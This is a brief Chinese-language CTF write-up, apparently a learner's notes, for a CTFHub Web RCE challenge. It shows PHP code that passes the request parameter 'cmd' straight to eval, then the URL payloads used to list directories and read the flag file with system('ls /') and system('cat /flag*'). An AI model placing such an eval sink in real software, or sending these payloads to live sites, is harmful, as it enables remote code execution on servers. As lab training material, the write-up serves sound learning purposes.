CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
elseif1235 分钟前
分组背包1
c++·学习·算法
不做无法实现的梦~9 分钟前
Linux 嵌入式开发完整入门:工具、配置和学习路线
linux·运维·学习
HumbleSwage22 分钟前
CUDA学习路径
学习
Joseph Cooper25 分钟前
STM32MP157 Linux驱动学习笔记(三):系统级驱动框架(UART/PCIe)
linux·stm32·学习
chudonghao30 分钟前
[UE学习笔记][基于源码] 运行时网格 PMC / DMC / RMC
笔记·学习·ue5
kongba0071 小时前
rules经验落盘
学习
一條狗1 小时前
学习日报 20260423|[特殊字符] 深度解析:Vue 3 SPA 部署到 Spring Boot 的 404/500 错误排查与完美解决方案-2
vue.js·spring boot·学习
学习论之费曼学习法1 小时前
AI 入门 30 天挑战 - Day 18 费曼学习法版 - 图像分割基础
人工智能·学习
It's Q1 小时前
hive学习分区&&函数
hive·hadoop·学习
red_redemption1 小时前
自由学习记录(173)
学习·clock ticking·lighting rod·zeus